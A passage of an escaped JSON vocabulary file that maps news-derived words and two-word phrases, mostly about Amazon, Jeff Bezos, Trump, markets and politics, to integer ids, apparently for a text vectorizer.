stocks\": 14274,\n  \"french tycoon\": 14275,\n  \"quick delivery\": 14276,\n  \"safra catz\": 14277,\n  \"distributors involved\": 14278,\n  \"tm animosity\": 14279,\n  \"herders\": 14280,\n  \"mediametadatacallbacks\": 14281,\n  \"sparked protests\": 14282,\n  \"goblin\": 14283,\n  \"publish neutral\": 14284,\n  \"myles\": 14285,\n  \"schreurs\": 14286,\n  \"massive success\": 14287,\n  \"heated feedback\": 14288,\n  \"sent 740\": 14289,\n  \"county fairs\": 14290,\n  \"predicting 2019\": 14291,\n  \"groups using\": 14292,\n  \"boyce upholt\": 14293,\n  \"trump offered\": 14294,\n  \"fashion nuances\": 14295,\n  \"diversity human\": 14296,\n  \"suggests ami\": 14297,\n  \"2017 article\": 14298,\n  \"including nomura\": 14299,\n  \"certain cities\": 14300,\n  \"women long\": 14301,\n  \"promoted alternatives\": 14302,\n  \"deter\": 14303,\n  \"calgary\": 14304,\n  \"asphalt shingles\": 14305,\n  \"sherman act\": 14306,\n  \"maybe facebook\": 14307,\n  \"news content\": 14308,\n  \"members praise\": 14309,\n  \"twitter cracking\": 14310,\n  \"london los\": 14311,\n  \"oz letter\": 14312,\n  \"cosmopolitanism\": 14313,\n  \"overvalued stock\": 14314,\n  \"insensitive mockery\": 14315,\n  \"story nvidia\": 14316,\n  \"cities nationally\": 14317,\n  \"record 2121\": 14318,\n  \"martin host\": 14319,\n  \"expensive options\": 14320,\n  \"remote obviously\": 14321,\n  \"dizzying pace\": 14322,\n  \"wealthy donators\": 14323,\n  \"domenech fox\": 14324,\n  \"young child\": 14325,\n  \"hard numbers\": 14326,\n  \"product support\": 14327,\n  \"ixlffnkhqx\": 14328,\n  \"massachusetts gov\": 14329,\n  \"bezos owned\": 14330,\n  \"antitrust partner\": 14331,\n  \"little neck\": 14332,\n  \"service contracts\": 14333,\n  \"spent record\": 14334,\n  \"mail contract\": 14335,\n  \"companies lower\": 14336,\n  \"noted bucking\": 14337,\n  \"retailers love\": 14338,\n  \"coke ceo\": 14339,\n  \"thirteen\": 14340,\n  \"prevention treatment\": 14341,\n  \"post newly\": 14342,\n  \"direct evidence\": 14343,\n  \"prevention florida\": 14344,\n  \"billion merger\": 14345,\n  \"founder personal\": 14346,\n  \"build consensus\": 14347,\n  \"traffic control\": 14348,\n  \"today revisits\": 14349,\n  \"readily say\": 14350,\n  \"lackeys\": 14351,\n  \"pope francis\": 14352,\n  \"warren senwarren\": 14353,\n  \"globes 2019\": 14354,\n  \"carries zacks\": 14355,\n  \"michael doesn\": 14356,\n  \"rosalind\": 14357,\n  \"883\": 14358,\n  \"ish saga\": 14359,\n  \"investigators reportedly\": 14360,\n  \"mistakenly\": 14361,\n  \"party butt\": 14362,\n  \"lockhart starting\": 14363,\n  \"place star\": 14364,\n  \"demanding funding\": 14365,\n  \"debt eric\": 14366,\n  \"misdirected\": 14367,\n  \"survived shark\": 14368,\n  \"black balloon\": 14369,\n  \"1456et copyright\": 14370,\n  \"mma salles\": 14371,\n  \"called flex\": 14372,\n  \"amzn rejected\": 14373,\n  \"friends claim\": 14374,\n  \"quirky novel\": 14375,\n  \"billion wasn\": 14376,\n  \"owner creates\": 14377,\n  \"toyrs\": 14378,\n  \"cook speaks\": 14379,\n  \"matter president\": 14380,\n  \"new stack\": 14381,\n  \"decimal point\": 14382,\n  \"basically self\": 14383,\n  \"list thanks\": 14384,\n  \"commission hasn\": 14385,\n  \"zoning issues\": 14386,\n  \"fracturing geopolitics\": 14387,\n  \"stories fox\": 14388,\n  \"weakest profit\": 14389,\n  \"recent stock\": 14390,\n  \"trump caravan\": 14391,\n  \"charters regulates\": 14392,\n  \"cable media\": 14393,\n  \"agencies hosting\": 14394,\n  \"competition technology\": 14395,\n  \"population demographics\": 14396,\n  \"homegrown\": 14397,\n  \"restructuring abramowitz\": 14398,\n  \"powerful las\": 14399,\n  \"owens check\": 14400,\n  \"release wall\": 14401,\n  \"americans love\": 14402,\n  \"service beginning\": 14403,\n  \"international partners\": 14404,\n  \"base shrinks\": 14405,\n  \"largest brewer\": 14406,\n  \"standards decade\": 14407,\n  \"appealed directly\": 14408,\n  \"analysts expected\": 14409,\n  \"gigantic storm\": 14410,\n  \"monsignor\": 14411,\n  \"clemency thanks\": 14412,\n  \"years iduskcn1ly16z\": 14413,\n  \"israel news\": 14414,\n  \"intimate look\": 14415,\n  \"today today\": 14416,\n  \"foxconn technology\": 14417,\n  \"parachuting\": 14418,\n  \"succeed yes\": 14419,\n  \"woodbridge police\": 14420,\n  \"new competitor\": 14421,\n  \"ongoing dialogue\": 14422,\n  \"bruno magli\": 14423,\n  \"calls delivery\": 14424,\n  \"commercial moved\": 14425,\n  \"held 600\": 14426,\n  \"love austin\": 14427,\n  \"scammers\": 14428,\n  \"manager dan\": 14429,\n  \"post addressed\": 14430,\n  \"talks border\": 14431,\n  \"backlash facebook\": 14432,\n  \"2005 according\": 14433,\n  \"inventing new\": 14434,\n  \"hashed\": 14435,\n  \"maxsa founder\": 14436,\n  \"nouns\": 14437,\n  \"ranging competition\": 14438,\n  \"slip\": 14439,\n  \"post says\": 14440,\n  \"endorsed councilman\": 14441,\n  \"bull eye\": 14442,\n  \"aimless\": 14443,\n  \"johnstown flood\": 14444,\n  \"george mean\": 14445,\n  \"sent straight\": 14446,\n  \"representative alexandria\": 14447,\n  \"greta\": 14448,\n  \"valid email\": 14449,\n  \"updatecurrentlyplaying\": 14450,\n  \"tax credits\": 14451,\n  \"tinder okcupid\": 14452,\n  \"miserable\": 14453,\n  \"american companies\": 14454,\n  \"highlights importance\": 14455,\n  \"groups legislators\": 14456,\n  \"president seton\": 14457,\n  \"pivots\": 14458,\n  \"issues economy\": 14459,\n  \"confronts toughest\": 14460,\n  \"pithy\": 14461,\n  \"tv host\": 14462,\n  \"detailing trump\": 14463,\n  \"assets limited\": 14464,\n  \"days stewing\": 14465,\n  \"orders barring\": 14466,\n  \"puzzlement\": 14467,\n  \"slow deforestation\": 14468,\n  \"money hate\": 14469,\n  \"product earlier\": 14470,\n  \"totally relatable\": 14471,\n  \"story president\": 14472,\n  \"families dig\": 14473,\n  \"acclaim suggests\": 14474,\n  \"woke economists\": 14475,\n  \"capital israelis\": 14476,\n  \"luckin coffee\": 14477,\n  \"fedex negotiated\": 14478,\n  \"marilyn glynn\": 14479,\n  \"iphone series\": 14480,\n  \"100 negative\": 14481,\n  \"conditions saying\": 14482,\n  \"herera jonathan\": 14483,\n  \"proposal follows\": 14484,\n  \"post fedex\": 14485,\n  \"magazine owned\": 14486,\n  \"places ecologically\": 14487,\n  \"arm amazon\": 14488,\n  \"columbia law\": 14489,\n  \"head ministries\": 14490,\n  \"bottle minerva\": 14491,\n  \"nov\": 14492,\n  \"cancer medicine\": 14493,\n  \"energy sector\": 14494,\n  \"results saying\": 14495,\n  \"impressive range\": 14496,\n  \"original film\": 14497,\n  \"agency william\": 14498,\n  \"oakworth\": 14499,\n  \"illegal entry\": 14500,\n  \"outperforming\": 14501,\n  \"reaching trade\": 14502,\n  \"moisturize\": 14503,\n  \"directly denied\": 14504,\n  \"easily connect\": 14505,\n  \"sell just\": 14506,\n  \"mills\": 14507,\n  \"farr joins\": 14508,\n  \"renamed onewest\": 14509,\n  \"confiscated virigina\": 14510,\n  \"cookie\": 14511,\n  \"mainly giveaway\": 14512,\n  \"military records\": 14513,\n  \"yourterm strap\": 14514,\n  \"washington additional\": 14515,\n  \"times devilman\": 14516,\n  \"amazon contributions\": 14517,\n  \"rep adam\": 14518,\n  \"creates new\": 14519,\n  \"cnn sent\": 14520,\n  \"scorsese\": 14521,\n  \"offer amazon\": 14522,\n  \"owns regularly\": 14523,\n  \"validating\": 14524,\n  \"investors turn\": 14525,\n  \"life depends\": 14526,\n  \"fee charged\": 14527,\n  \"norm\": 14528,\n  \"protection cbp\": 14529,\n  \"prove significant\": 14530,\n  \"bawdy\": 14531,\n  \"reading comprehension\": 14532,\n  \"subtitles given\": 14533,\n  \"line straight\": 14534,\n  \"tim crawford\": 14535,\n  \"major assault\": 14536,\n  \"hostility flowing\": 14537,\n  \"reuters newscom\": 14538,\n  \"soy moratorium\": 14539,\n  \"incognita\": 14540,\n  \"financial assistance\": 14541,\n  \"tabloid received\": 14542,\n  \"snl bezos\": 14543,\n  \"common cause\": 14544,\n  \"focused partnership\": 14545,\n  \"long shadow\": 14546,\n  \"investment number\": 14547,\n  \"citi analyst\": 14548,\n  \"asking people\": 14549,\n  \"closing\": 14550,\n  \"min read\": 14551,\n  \"drivers tech\": 14552,\n  \"vine reviews\": 14553,\n  \"growth ticked\": 14554,\n  \"various grounds\": 14555,\n  \"rat video\": 14556,\n  \"maylor ma_compt_maylor\": 14557,\n  \"delivery drones\": 14558,\n  \"dropped dramatically\": 14559,\n  \"mortifying messages\": 14560,\n  \"caroline kepnes\": 14561,\n  \"wrote blog\": 14562,\n  \"b8 l8\": 14563,\n  \"embarrassing photos\": 14564,\n  \"instead resulting\": 14565,\n  \"urging ami\": 14566,\n  \"private clinics\": 14567,\n  \"nutshell\": 14568,\n  \"time noting\": 14569,\n  \"wants major\": 14570,\n  \"read fork\": 14571,\n  \"liesman\": 14572,\n  \"numerous state\": 14573,\n  \"lowest growth\": 14574,\n  \"open large\": 14575,\n  \"bad headlines\": 14576,\n  \"heidi hagen\": 14577,\n  \"unemployed\": 14578,\n  \"deforested area\": 14579,\n  \"start given\": 14580,\n  \"called karen\": 14581,\n  \"cars live\": 14582,\n  \"named finance\": 14583,\n  \"market pulse\": 14584,\n  \"adhd\": 14585,\n  \"occupational safety\": 14586,\n  \"social legitimacy\": 14587,\n  \"snl parody\": 14588,\n  \"sachs johnson\": 14589,\n  \"dumas\": 14590,\n  \"trump staff\": 14591,\n  \"women refugee\": 14592,\n  \"stanley did\": 14593,\n  \"cohen pleaded\": 14594,\n  \"confuse consumers\": 14595,\n  \"google promoted\": 14596,\n  \"nondefense purpose\": 14597,\n  \"changing amazon\": 14598,\n  \"right information\": 14599,\n  \"way joe\": 14600,\n  \"long enshrined\": 14601,\n  \"dan goure\": 14602,\n  \"potential offered\": 14603,\n  \"singleton lazarus\": 14604,\n  \"rx\": 14605,\n  \"400 list\": 14606,\n  \"privatization\": 14607,\n  \"japans\": 14608,\n  \"european army\": 14609,\n  \"clearly signaled\": 14610,\n  \"adelaide\": 14611,\n  \"airstrikes\": 14612,\n  \"vis\": 14613,\n  \"inf treaty\": 14614,\n  \"author novels\": 14615,\n  \"bolsonaro visited\": 14616,\n  \"patents means\": 14617,\n  \"isn yeller\": 14618,\n  \"couple months\": 14619,\n  \"big monopolies\": 14620,\n  \"vulnerable kids\": 14621,\n  \"include athletic\": 14622,\n  \"jude\": 14623,\n  \"drew immediate\": 14624,\n  \"solid state\": 14625,\n  \"warehouses ceo\": 14626,\n  \"apprentice program\": 14627,\n  \"florida education\": 14628,\n  \"tectonic\": 14629,\n  \"wealthiest woman\": 14630,\n  \"electric words\": 14631,\n  \"preparing antitrust\": 14632,\n  \"political organizing\": 14633,\n  \"brazilian oil\": 14634,\n  \"rational sound\": 14635,\n  \"company partnership\": 14636,\n  \"writing taking\": 14637,\n  \"post claiming\": 14638,\n  \"kelly sadler\": 14639,\n  \"senator spoke\": 14640,\n  \"bank financial\": 14641,\n  \"reason despite\": 14642,\n  \"trade imbroglios\": 14643,\n  \"deutsch explained\": 14644,\n  \"kudlow expressed\": 14645,\n  \"elliot ackerman\": 14646,\n  \"bezos criticized\": 14647,\n  \"radio station\": 14648,\n  \"sacrifice ritual\": 14649,\n  \"sidekicks\": 14650,\n  \"particular associated\": 14651,\n  \"baby shower\": 14652,\n  \"poverty communities\": 14653,\n  \"280 million\": 14654,\n  \"despising amazon\": 14655,\n  \"write evaluations\": 14656,\n  \"lead space\": 14657,\n  \"805\": 14658,\n  \"bothers\": 14659,\n  \"proclaimed adulterous\": 14660,\n  \"nice investigative\": 14661,\n  \"508 points\": 14662,\n  \"diverse\": 14663,\n  \"california foodways\": 14664,\n  \"line post\": 14665,\n  \"2016 describing\": 14666,\n  \"nyc doesn\": 14667,\n  \"dima\": 14668,\n  \"manor post\": 14669,\n  \"muted larcker\": 14670,\n  \"fibreglass\": 14671,\n  \"supplemented\": 14672,\n  \"means lot\": 14673,\n  \"child garden\": 14674,\n  \"wrong email\": 14675,\n  \"senator ron\": 14676,\n  \"idiot kelly\": 14677,\n  \"collaborators\": 14678,\n  \"mc ght\": 14679,\n  \"impeach donald\": 14680,\n  \"way propel\": 14681,\n  \"depressing post\": 14682,\n  \"exg54imyko santti13\": 14683,\n  \"prairie chicago\": 14684,\n  \"late 2017\": 14685,\n  \"worldwide commerce\": 14686,\n  \"bribe money\": 14687,\n  \"primary election\": 14688,\n  \"newspapers used\": 14689,\n  \"caputo\": 14690,\n  \"lissette\": 14691,\n  \"general feminist\": 14692,\n  \"friend neighbor\": 14693,\n  \"flooding beer\": 14694,\n  \"account bezos\": 14695,\n  \"lose customers\": 14696,\n  \"independent businesses\": 14697,\n  \"know rep\": 14698,\n  \"exclusion\": 14699,\n  \"pecker says\": 14700,\n  \"2200 target\": 14701,\n  \"joe buck\": 14702,\n  \"citi internet\": 14703,\n  \"thrills\": 14704,\n  \"amazon calling\": 14705,\n  \"tv executive\": 14706,\n  \"alleged exploitation\": 14707,\n  \"bring bags\": 14708,\n  \"hysterics\": 14709,\n  \"telecom development\": 14710,\n  \"buy stays\": 14711,\n  \"cross species\": 14712,\n  \"james joyce\": 14713,\n  \"amazonuk amazon\": 14714,\n  \"volume lower\": 14715,\n  \"deliberately purchased\": 14716,\n  \"trial separation\": 14717,\n  \"foxnews\": 14718,\n  \"hizzoner photo\": 14719,\n  \"verdi\": 14720,\n  \"industry term\": 14721,\n  \"wired editor\": 14722,\n  \"west life\": 14723,\n  \"boothe\": 14724,\n  \"longtime favorite\": 14725,\n  \"goldcrest project\": 14726,\n  \"recognition\": 14727,\n  \"meeting cnbc\": 14728,\n  \"particularly disliked\": 14729,\n  \"infrastructure fossils\": 14730,\n  \"hearing transcript\": 14731,\n  \"copp\": 14732,\n  \"9110\": 14733,\n  \"won seek\": 14734,\n  \"america right\": 14735,\n  \"greed\": 14736,\n  \"week nato\": 14737,\n  \"2018 american\": 14738,\n  \"float left\": 14739,\n  \"boost prime\": 14740,\n  \"clip herera\": 14741,\n  \"opposition group\": 14742,\n  \"mismanaged younger\": 14743,\n  \"mainframe gains\": 14744,\n  \"050\": 14745,\n  \"emboldens\": 14746,\n  \"diversity inclusion\": 14747,\n  \"outspoken anti\": 14748,\n  \"suffered heart\": 14749,\n  \"blasts trump\": 14750,\n  \"official according\": 14751,\n  \"02m worth\": 14752,\n  \"hui leong\": 14753,\n  \"controversy\": 14754,\n  \"master\": 14755,\n  \"clarkin4 bloomberg\": 14756,\n  \"plagiarism conceded\": 14757,\n  \"overnight health\": 14758,\n  \"support better\": 14759,\n  \"german cars\": 14760,\n  \"work action\": 14761,\n  \"morning quote\": 14762,\n  \"important market\": 14763,\n  \"patriots soapbox\": 14764,\n  \"crime story\": 14765,\n  \"musicians\": 14766,\n  \"recession related\": 14767,\n  \"bleak version\": 14768,\n  \"amazon banners\": 14769,\n  \"fsf9szc24h\": 14770,\n  \"fuel wages\": 14771,\n  \"tom metcalf\": 14772,\n  \"certain standards\": 14773,\n  \"large base\": 14774,\n  \"political vulnerability\": 14775,\n  \"ai work\": 14776,\n  \"overwhelming unpopularity\": 14777,\n  \"mccain az\": 14778,\n  \"managing cloud\": 14779,\n  \"process governor\": 14780,\n  \"screwdriver\": 14781,\n  \"innuendo\": 14782,\n  \"counterfeiting\": 14783,\n  \"storylines\": 14784,\n  \"cathedrals\": 14785,\n  \"alleged anti\": 14786,\n  \"trading account\": 14787,\n  \"president hardline\": 14788,\n  \"community does\": 14789,\n  \"google treatment\": 14790,\n  \"prattplus commerce\": 14791,\n  \"hq2 watchers\": 14792,\n  \"phallic\": 14793,\n  \"primetime star\": 14794,\n  \"scholarship type\": 14795,\n  \"desiree afuye\": 14796,\n  \"upgraded facilities\": 14797,\n  \"pressure drug\": 14798,\n  \"german couple\": 14799,\n  \"elmo loves\": 14800,\n  \"stop featured\": 14801,\n  \"kingdom crown\": 14802,\n  \"perforce\": 14803,\n  \"deport\": 14804,\n  \"griffeth mcdonald\": 14805,\n  \"agency agents\": 14806,\n  \"hashtags popular\": 14807,\n  \"needy amazon\": 14808,\n  \"wholesome games\": 14809,\n  \"outstanding\": 14810,\n  \"leadership style\": 14811,\n  \"waged battles\": 14812,\n  \"online advertisement\": 14813,\n  \"courtland\": 14814,\n  \"senator elizabeth\": 14815,\n  \"1257et copyright\": 14816,\n  \"forced union\": 14817,\n  \"hands argue\": 14818,\n  \"alucard inspired\": 14819,\n  \"murphy brown\": 14820,\n  \"media filtering\": 14821,\n  \"title amazon\": 14822,\n  \"responded amazon\": 14823,\n  \"atmospheric temperature\": 14824,\n  \"e8 s8\": 14825,\n  \"billion wiped\": 14826,\n  \"brothel\": 14827,\n  \"ann wilson\": 14828,\n  \"particularly poor\": 14829,\n  \"congratulate\": 14830,\n  \"1st stop\": 14831,\n  \"753\": 14832,\n  \"years creating\": 14833,\n  \"time page\": 14834,\n  \"rippling\": 14835,\n  \"0207 782\": 14836,\n  \"beijing region\": 14837,\n  \"gtld battle\": 14838,\n  \"method hondurans\": 14839,\n  \"apply prompting\": 14840,\n  \"opening brazil\": 14841,\n  \"alicia\": 14842,\n  \"works better\": 14843,\n  \"cooke business\": 14844,\n  \"irony\": 14845,\n  \"extracting public\": 14846,\n  \"report commissioned\": 14847,\n  \"blueprint\": 14848,\n  \"oversharing heres\": 14849,\n  \"views contrary\": 14850,\n  \"world billionaire\": 14851,\n  \"family law\": 14852,\n  \"phrase fake\": 14853,\n  \"bolt\": 14854,\n  \"fewer immigrants\": 14855,\n  \"adjacent companies\": 14856,\n  \"bender eventually\": 14857,\n  \"riebold ricriebold\": 14858,\n  \"collectively printed\": 14859,\n  \"ceo tim\": 14860,\n  \"officials slowly\": 14861,\n  \"means calling\": 14862,\n  \"better requirement\": 14863,\n  \"allowed merchants\": 14864,\n  \"additional statement\": 14865,\n  \"yes mean\": 14866,\n  \"scrambled\": 14867,\n  \"887\": 14868,\n  \"road amazon\": 14869,\n  \"2018 rainey\": 14870,\n  \"low balling\": 14871,\n  \"just kind\": 14872,\n  \"pres george\": 14873,\n  \"impact funding\": 14874,\n  \"industries mytilineos\": 14875,\n  \"486 times\": 14876,\n  \"115\": 14877,\n  \"view president\": 14878,\n  \"original national\": 14879,\n  \"step ferociously\": 14880,\n  \"white home\": 14881,\n  \"boot camps\": 14882,\n  \"music offering\": 14883,\n  \"south east\": 14884,\n  \"doing favours\": 14885,\n  \"cah\": 14886,\n  \"federal officials\": 14887,\n  \"important day\": 14888,\n  \"target tech\": 14889,\n  \"transition\": 14890,\n  \"dynamics note\": 14891,\n  \"near arlington\": 14892,\n  \"jackpot swells\": 14893,\n  \"wasn worth\": 14894,\n  \"fewer packages\": 14895,\n  \"stores doctors\": 14896,\n  \"veep\": 14897,\n  \"kilcoyne\": 14898,\n  \"sellers online\": 14899,\n  \"couples therapy\": 14900,\n  \"collusion think\": 14901,\n  \"mcd fsg\": 14902,\n  \"iq test\": 14903,\n  \"822\": 14904,\n  \"cnnvideoapi\": 14905,\n  \"autonomy\": 14906,\n  \"war fears\": 14907,\n  \"economy accelerates\": 14908,\n  \"attorneys consider\": 14909,\n  \"skift called\": 14910,\n  \"monrovia filmed\": 14911,\n  \"amazon owner\": 14912,\n  \"lucrative iphones\": 14913,\n  \"decide someday\": 14914,\n  \"peebles\": 14915,\n  \"successfully including\": 14916,\n  \"scrap new\": 14917,\n  \"sales christopher\": 14918,\n  \"subaru biggest\": 14919,\n  \"slideshowbillionaire\": 14920,\n  \"lyft cars\": 14921,\n  \"shareholders civil\": 14922,\n  \"accident game\": 14923,\n  \"tech chiefs\": 14924,\n  \"rejects push\": 14925,\n  \"marketplace platform\": 14926,\n  \"featured conservative\": 14927,\n  \"children separated\": 14928,\n  \"penny know\": 14929,\n  \"nevada latino\": 14930,\n  \"bezos supports\": 14931,\n  \"miranda\": 14932,\n  \"holm\": 14933,\n  \"seasons takes\": 14934,\n  \"eyes deceive\": 14935,\n  \"wonkactivists calling\": 14936,\n  \"understand vets\": 14937,\n  \"pressure forced\": 14938,\n  \"undisclosed bids\": 14939,\n  \"receives 300\": 14940,\n  \"twitter attack\": 14941,\n  \"world champion\": 14942,\n  \"000 cashierless\": 14943,\n  \"signature border\": 14944,\n  \"diverting funds\": 14945,\n  \"core leader\": 14946,\n  \"waging\": 14947,\n  \"apart\": 14948,\n  \"walker contract\": 14949,\n  \"m4 w4\": 14950,\n  \"snarks\": 14951,\n  \"motors molson\": 14952,\n  \"final list\": 14953,\n  \"oil plant\": 14954,\n  \"article include\": 14955,\n  \"emily just\": 14956,\n  \"compulsory viewing\": 14957,\n  \"demartino\": 14958,\n  \"word maybe\": 14959,\n  \"grown\": 14960,\n  \"institute says\": 14961,\n  \"bigger deal\": 14962,\n  \"yangon\": 14963,\n  \"arun koyyur\": 14964,\n  \"washington post\": 14965,\n  \"corporate taxpayer\": 14966,\n  \"officials cnn\": 14967,\n  \"law called\": 14968,\n  \"reportedly spends\": 14969,\n  \"incite people\": 14970,\n  \"liking country\": 14971,\n  \"woman mary\": 14972,\n  \"freight logistics\": 14973,\n  \"care trump\": 14974,\n  \"management consultants\": 14975,\n  \"beer battle\": 14976,\n  \"harm local\": 14977,\n  \"good idea\": 14978,\n  \"agreement detailing\": 14979,\n  \"world super\": 14980,\n  \"2011 returned\": 14981,\n  \"microvm\": 14982,\n  \"powers accusations\": 14983,\n  \"m6a a4ee\": 14984,\n  \"city homelessness\": 14985,\n  \"ami boss\": 14986,\n  \"lost children\": 14987,\n  \"lover\": 14988,\n  \"relative term\": 14989,\n  \"amazon planning\": 14990,\n  \"term jeff\": 14991,\n  \"mdc miami\": 14992,\n  \"micro devices\": 14993,\n  \"years corporate\": 14994,\n  \"overview stocks\": 14995,\n  \"meddling\": 14996,\n  \"0510s2p totalshtrump\": 14997,\n  \"volunteer network\": 14998,\n  \"850 mln\": 14999,\n  \"started sharing\": 15000,\n  \"performance record\": 15001,\n  \"story household\": 15002,\n  \"clarification\": 15003,\n  \"survivors say\": 15004,\n  \"cay johnston\": 15005,\n  \"just week\": 15006,\n  \"tara finds\": 15007,\n  \"140 words\": 15008,\n  \"kahlo\": 15009,\n  \"mizuho\": 15010,\n  \"waltons\": 15011,\n  \"sales henry\": 15012,\n  \"nadia\": 15013,\n  \"risk areas\": 15014,\n  \"poverty encourage\": 15015,\n  \"fresh reminders\": 15016,\n  \"war conquest\": 15017,\n  \"eighths\": 15018,\n  \"does\": 15019,\n  \"america ferrera\": 15020,\n  \"testing local\": 15021,\n  \"told flake\": 15022,\n  \"comprehensive insurance\": 15023,\n  \"lubin purview\": 15024,\n  \"armani\": 15025,\n  \"rebound rally\": 15026,\n  \"hamas\": 15027,\n  \"demons volume\": 15028,\n  \"strips add\": 15029,\n  \"amazon algorithmically\": 15030,\n  \"person associated\": 15031,\n  \"david klion\": 15032,\n  \"finally provokes\": 15033,\n  \"shutdown headache\": 15034,\n  \"opportunity barrons\": 15035,\n  \"future hq2\": 15036,\n  \"figures offense\": 15037,\n  \"jedi powers\": 15038,\n  \"community benefit\": 15039,\n  \"grunwald\": 15040,\n  \"flipkart walmart\": 15041,\n  \"business offering\": 15042,\n  \"amazon 165\": 15043,\n  \"angel 2004\": 15044,\n  \"including congresswoman\": 15045,\n  \"strong political\": 15046,\n  \"spanish empire\": 15047,\n  \"turkey mashed\": 15048,\n  \"rushed\": 15049,\n  \"commission likewise\": 15050,\n  \"plan started\": 15051,\n  \"natalie\": 15052,\n  \"president huddle\": 15053,\n  \"software capabilities\": 15054,\n  \"management trump\": 15055,\n  \"\\u0430scary\": 15056,\n  \"breaking business\": 15057,\n  \"publishing success\": 15058,\n  \"politiseeds\": 15059,\n  \"huppert\": 15060,\n  \"eating establishment\": 15061,\n  \"sensitive personally\": 15062,\n  \"development act\": 15063,\n  \"business deduction\": 15064,\n  \"sourcescreen shot\": 15065,\n  \"eternal\": 15066,\n  \"royalty payments\": 15067,\n  \"enquirer places\": 15068,\n  \"estimize projects\": 15069,\n  \"shrug\": 15070,\n  \"helenkennedy\": 15071,\n  \"hanging\": 15072,\n  \"propagandists pattern\": 15073,\n  \"half decades\": 15074,\n  \"ukraine investigators\": 15075,\n  \"small sample\": 15076,\n  \"lot laboratory\": 15077,\n  \"untruths\": 15078,\n  \"decades historic\": 15079,\n  \"tennessee south\": 15080,\n  \"exxonmobil nyse\": 15081,\n  \"asked bezos\": 15082,\n  \"confirms private\": 15083,\n  \"rained\": 15084,\n  \"stock began\": 15085,\n  \"nasdaq msft\": 15086,\n  \"mcdougal alleged\": 15087,\n  \"reassessing longer\": 15088,\n  \"trump alabama\": 15089,\n  \"political circles\": 15090,\n  \"alexa device\": 15091,\n  \"ongoing efforts\": 15092,\n  \"street fair\": 15093,\n  \"separate versions\": 15094,\n  \"don clean\": 15095,\n  \"year mailing\": 15096,\n  \"political issues\": 15097,\n  \"data classified\": 15098,\n  \"benz plant\": 15099,\n  \"cardinal sin\": 15100,\n  \"ways seemingly\": 15101,\n  \"helmke\": 15102,\n  \"harsh tone\": 15103,\n  \"leftist lingo\": 15104,\n  \"consider leaving\": 15105,\n  \"darren samuelsohn\": 15106,\n  \"ice dollar\": 15107,\n  \"reached just\": 15108,\n  \"account purportedly\": 15109,\n  \"gay man\": 15110,\n  \"duchess meghan\": 15111,\n  \"valuable report\": 15112,\n  \"college ocasio\": 15113,\n  \"regulate campaign\": 15114,\n  \"clearly define\": 15115,\n  \"special offers\": 15116,\n  \"rules relieve\": 15117,\n  \"students lives\": 15118,\n  \"ubhi quit\": 15119,\n  \"store jeff\": 15120,\n  \"ballistic\": 15121,\n  \"enemy trump\": 15122,\n  \"trump ongoing\": 15123,\n  \"shields georgia\": 15124,\n  \"family account\": 15125,\n  \"personal tragedy\": 15126,\n  \"daily bell\": 15127,\n  \"funds totaling\": 15128,\n  \"deterring\": 15129,\n  \"rusting\": 15130,\n  \"weapons arsenal\": 15131,\n  \"promote racist\": 15132,\n  \"507\": 15133,\n  \"conspiratorial\": 15134,\n  \"customs duties\": 15135,\n  \"started experimenting\": 15136,\n  \"source getty\": 15137,\n  \"union council\": 15138,\n  \"harm low\": 15139,\n  \"costume based\": 15140,\n  \"modest given\": 15141,\n  \"utilities clearly\": 15142,\n  \"sinclair disgraceful\": 15143,\n  \"campuses hospitals\": 15144,\n  \"comprehensive policy\": 15145,\n  \"helping workers\": 15146,\n  \"thousand central\": 15147,\n  \"olympic medals\": 15148,\n  \"200 share\": 15149,\n  \"d4a f4a\": 15150,\n  \"streak\": 15151,\n  \"updated version\": 15152,\n  \"reports note\": 15153,\n  \"inner city\": 15154,\n  \"continue selling\": 15155,\n  \"bad way\": 15156,\n  \"disappointed according\": 15157,\n  \"barbara bush\": 15158,\n  \"maye associated\": 15159,\n  \"obligations mandated\": 15160,\n  \"google according\": 15161,\n  \"touching export\": 15162,\n  \"miraculous stem\": 15163,\n  \"close second\": 15164,\n  \"president added\": 15165,\n  \"start losing\": 15166,\n  \"good philanthropic\": 15167,\n  \"superstorm sandy\": 15168,\n  \"distribution world\": 15169,\n  \"loa observatory\": 15170,\n  \"cotton compression\": 15171,\n  \"president female\": 15172,\n  \"renovating keyarena\": 15173,\n  \"boxes source\": 15174,\n  \"estimize\": 15175,\n  \"emergency wisconsin\": 15176,\n  \"digital charging\": 15177,\n  \"epa announced\": 15178,\n  \"staged protests\": 15179,\n  \"staff nuts\": 15180,\n  \"logging\": 15181,\n  \"card generally\": 15182,\n  \"abortion campaign\": 15183,\n  \"apostle isn\": 15184,\n  \"provide predictable\": 15185,\n  \"direct messaging\": 15186,\n  \"company wrote\": 15187,\n  \"surpass heart\": 15188,\n  \"privately owned\": 15189,\n  \"news rundown\": 15190,\n  \"ambitiousness\": 15191,\n  \"wildfire crews\": 15192,\n  \"otherearth\": 15193,\n  \"somebody handing\": 15194,\n  \"cloud competitors\": 15195,\n  \"paterson animal\": 15196,\n  \"granting\": 15197,\n  \"city communities\": 15198,\n  \"major distributors\": 15199,\n  \"assist voice\": 15200,\n  \"1953\": 15201,\n  \"outlast\": 15202,\n  \"3k\": 15203,\n  \"patriot bowlers\": 15204,\n  \"police search\": 15205,\n  \"sharp edged\": 15206,\n  \"turnaround ceo\": 15207,\n  \"lure businesses\": 15208,\n  \"nth photo\": 15209,\n  \"particularly warehouse\": 15210,\n  \"know means\": 15211,\n  \"amazon invests\": 15212,\n  \"right cares\": 15213,\n  \"employees feel\": 15214,\n  \"short stint\": 15215,\n  \"preemptive assassination\": 15216,\n  \"general assembly\": 15217,\n  \"tower flagship\": 15218,\n  \"alleged problems\": 15219,\n  \"hedging costs\": 15220,\n  \"president\": 15221,\n  \"providing amazon\": 15222,\n  \"available delivering\": 15223,\n  \"misheard demand\": 15224,\n  \"reports facebook\": 15225,\n  \"lnolan breitbart\": 15226,\n  \"meddling issue\": 15227,\n  \"immigration project\": 15228,\n  \"little does\": 15229,\n  \"original leaks\": 15230,\n  \"foreign\": 15231,\n  \"bulk delivery\": 15232,\n  \"brandeis university\": 15233,\n  \"data added\": 15234,\n  \"mister trump\": 15235,\n  \"ceo announced\": 15236,\n  \"amazon harshest\": 15237,\n  \"national spotlight\": 15238,\n  \"llc marking\": 15239,\n  \"sally\": 15240,\n  \"company alfresco\": 15241,\n  \"aggressive push\": 15242,\n  \"accounts especially\": 15243,\n  \"recently exposed\": 15244,\n  \"popular company\": 15245,\n  \"merely\": 15246,\n  \"vet brennan\": 15247,\n  \"fundraiser\": 